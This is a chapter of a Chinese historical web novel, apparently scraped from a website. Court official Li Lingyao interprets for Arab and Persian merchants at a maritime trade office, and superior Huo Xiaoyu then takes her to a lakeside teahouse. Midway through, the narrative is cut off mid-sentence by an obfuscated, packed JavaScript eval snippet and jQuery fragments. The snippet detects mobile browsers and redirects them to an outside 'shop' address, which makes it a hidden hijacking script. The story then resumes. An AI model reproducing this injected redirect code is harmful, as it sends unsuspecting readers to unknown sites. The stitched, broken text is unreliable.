停了一停，冯旭州小心地问：“李小公子可知为何市舶司这样着急出告示？”


    李灵钥对他的不满只当不曾看见，微笑着回答：“大约是这些时日来到和要离开的异国客商多，杂事也多，署提举大人才赶着将这事办了。”


    冯旭州还想再问，何云生已来到门外：“曜哥儿，我家公子请你去说话。”


    李灵钥应了一声，何云生对冯旭州拱了拱手：“冯先生也一同前去吧。”


    霍啸雨正与李良宏说话。


    见李灵钥与冯旭州来了，霍啸雨：“我已让人去请哈桑和阿卜杜来此。特请了冯先生也来，到时相助通译。”


    李良宏：“今日还有个好消息，户部还给市舶司派了一名大食国语通译，听闻这位通译年前便会来到。”


    冯旭州小心地问：“大食国语通译？俞先生不是也能相助通译？”


    霍啸雨：“俞先生为舟师海道的通译，每日里事多忙碌，能来此间相助的时刻不多。再者，他来了，舟师海道便没了通译，岂不碍事？”


    “先前译署没有好的大食国通译，因此没能派来。但找位能说大食国语的通译还是不难。现下找到了，如李大人所言，年前大约便会来到。市舶司现下有了冯先生，再来一位大食国语通译，二位应对异国客商时得心应手，市舶司给异国客商办理公文必定更加顺利。”


    他对着李灵钥：“青曜，这些日子辛苦你了，现下朝廷派了冯先生来通译，波斯客商的杂事就交与冯先生吧。朝廷派来的大食语通译来到前，有劳你再帮大食国客商些许。”


    他转头看向冯旭州：“往后有劳先生了。”


    冯旭州连忙拱手：“署提举请放心，在下一定尽力。”


    李灵钥看了霍啸雨一眼，他这话说得甚是漂亮，但她听来却觉说不出的阴阳怪气。


    冯旭州也没了先前的神气，只有小心陪笑！


    不多时，哈桑与阿卜杜都来到。


    二人行过礼，李良宏拱了拱手：“二位先生已在大周居住多年，对此间也很是知晓。从前对同族也关照甚多，帮过不少大食与波斯的客商，可见二位先生心善且热心。市舶司请二位在往后的三年内相助管辖大食与波斯客商，还请二位勿要推辞……”


    今日俞之远没来，大食国语自然是由李灵钥来通译。


    哈桑与阿卜杜都没带通译来，李青祥已在他的案桌上摆开笔纸，连李灵钥用的芦苇笔也备好了。


    李良宏一出言，李灵钥便到了兄长的身边坐下，提笔书写，待父亲说完了，才用大食国言语通译了一回。


    她通译完毕，便该冯旭州通译。


    冯旭州径直愣在了当地，李良宏说的每一句话他都明白，可要通译为波斯国语却有许多词句都没学过，零碎得连不起来。


    当面通译极为考验通译的才学，不仅不能出错，还得通译得信达雅。


    户部商栈里能用得上的言语在此间几乎都用不上，看着李灵钥通译完毕，阿卜杜行礼道谢，又说了一串话，他已出了一身冷汗。


    冯旭州听不懂大食国语，但他深知大食国语远比波斯语难，又看到李灵钥游刃有余，顿觉额头汗出，透不过气来。


    李灵钥通译完毕，请阿卜杜坐下，转头看向冯旭州。


    冯旭州已急得如热锅上的蚂蚁，他越是着急，脑中想到的词句就越发散碎。


    若是没有李灵钥，他大可随意说上几句，不论是从前在商栈时常说的话，还是来到市舶司学到的，大约能在李良宏与霍啸雨面前蒙混过关，而后他再去寻客商赔些软话，将这事揭过。


    异国客商在大周都小心谨慎，他又赔过礼，他们未必会将他的错处说给市舶司，这事也就过了。


    这情形在通译中不少见，尤其是初次与客商打交道，都难免出错。


    但此间有个精通波斯语的李灵钥，冯旭州这一招便不灵了。


    他只要说错一字，李灵钥立时便能知晓，若是立刻便戳穿，他哪里还有脸再在市舶司呆下去？


    眼看着众人都对着他看来，冯旭州硬着头皮想了想，正要出言，却听李良宏道：“冯先生才到市舶司，对此间的情形知晓有限，今日我说的话就由小儿通译吧，有劳先生在一旁斧正。”


    冯旭州正心头绝望，忽然听到这话，顿觉来了生机。


    他连忙对李良宏行了个礼：“多谢李大人体恤，有劳李小公子相助通译，小人洗耳恭听。”


    李灵钥通译完毕，哈桑也行了个礼：“我一定会好生引导波斯客商，让他们好生办理公文，不贩私，不闹事。”


    说到这里，他对阿卜杜行了个礼：“我与阿卜杜先生曾经见过，但如今各自相助本族客商，我们都会好生约束同族客商，不生波澜，不让各位大人失望。”


    阿卜杜也能听得懂波斯语，他微笑着起身行礼：“哈桑先生所言甚是，咱们两族的恩怨的确不能带到此间来。来到此间的客商都历尽了艰险，帮他们好生做生意赚银子才是。”


    李灵钥小声将他们的话通译给父亲和霍啸雨。


    等阿卜杜与哈桑寒暄完，接过李良宏写好李灵钥通译好的任书，霍啸雨盖上了大印交与二人，二人行过礼，返回家中。


    霍啸雨看了李灵钥一眼：“青曜，我要去一家异国客商开设的商铺，你随我去通译。”


    他对李良宏：“李大人，现下市舶司的大事已做定，又有户部派来的冯通译，些许小事便交由冯通译相助吧。”


    “将要过年了，我得采买些异国稀罕的货品送回京城去，得请青曜帮我去通译一回。来到此间大半年了，我拟采买些京城见不到或少见的异国货品送回去。此间已有冯先生相助，青曜又不领薪俸，不必时刻在此间忙碌。”


    李良宏在户部为官多年，一听这话，便知霍啸雨刻意将李灵钥自市舶司摘出去。


    冯旭州的情形他都看在眼中，看惯了女儿带着人轻松应对异国客商，再看冯旭州对付异国客商时结结巴巴，甚是吃力，李良宏便知冯旭


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108022|177752||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    州虽在户部商栈做过通译，但还应对不了广府的异国客商。


    李良宏没打算让小女儿一直在市舶司忙碌，也认为应当让冯旭州多与此间的客商往来。


    有小女儿做好的公文样本，有钱远昆、唐明安和李青祥，还有主文相公们，即便冯旭州不得力，寻常客商也能轻松应对。


    他当即对李灵钥道：“曜儿随署提举大人前去采买，一定要用心相助。”


    李灵钥跟着霍啸雨出了市舶司，胡易林与何云生牵了马来，霍啸雨与李灵钥各自上了马背，清泉与霍啸雨的三名侍从簇拥着他们离去。


    一行人进入广府城，李灵钥问：“署提举欲采买何种货品？”


    霍啸雨想了想：“咱们去喝茶吧。”


    李灵钥一愣，霍啸雨：“此间的瓦舍唱的戏很是奇异，曲调也与我从前听过的不同，我听过一回，实在听不懂，一直想找了机会再听一回。现下咱们先去湖边饮茶，在那处听曲。午饭咱们喝粥。下午去瓦舍听戏，听完了我们去你家中用饭。”


    李灵钥：“署提举今日不是要大肆采买么？”


    霍啸雨：“采买也不必急于一时，等喝完了茶再往商铺去。我若不想去商铺，让掌柜将他们的稀奇货品都送到驿馆来，我再慢慢择选。我是找了借口带你出来玩耍的。我先前便想带你玩耍，但你始终忙碌不得空闲，现下有人来帮手了，你不必再那样劳累。”


    霍啸雨带着李灵钥去了广府城内的荔湖湖畔。


    荔湖的湖岸上种满了荔枝龙眼树。广府的秋冬不似北方那般风寒风肃杀湖，依旧是处处绿意，风景好处都建得有茶楼。


    这时虽是上午，但荔湖边的茶楼内已坐了不少茶客。


    李灵钥当日跟着母亲办事，对广府也很是熟知。先前她也路过过此间，也见茶楼在湖边树下摆放了桌椅。


    湖边有凉风，不少茶客会在湖边树下品茶。


    已是十一月，京城必定已飞雪了，此间却依旧是秋高气爽。


    只是这时湖边吹来的风中有了凉意，茶客都不再在那处品茶挪入了茶楼内。


    霍啸雨带着李灵钥向着一座茶楼而去，那茶楼上写着两个大字：听雨。


    茶楼前立着靳松云，他向着霍啸雨与李灵钥而来，伙计便小跑着迎上来，伸手牵了马缰，引着他们到了茶楼前，二人下马，步入茶楼。


    伙计将他们引到二楼的一间雅间，李灵钥才见这雅间的凉台正对着湖泊，凉台的雕花门关上了大半，挂上了轻纱帘幕，凉风能吹入来，却不觉寒冷。


    雅间的门正对着茶楼中的小乐床，乐师在乐床上弹奏，坐在雅间内就能看到。


    伙计在雅间的角落摆放了一张方桌，请霍啸雨的侍从和清泉坐下，在两张桌间设了一架屏风，而后茶点便流水般送了来。


    不多时，两张方桌都摆满了茶点。


    霍啸雨：“这是我来到广府初次品茶的茶楼，当日对着他家的点心看得眼花缭乱，今日特意带你来品尝。”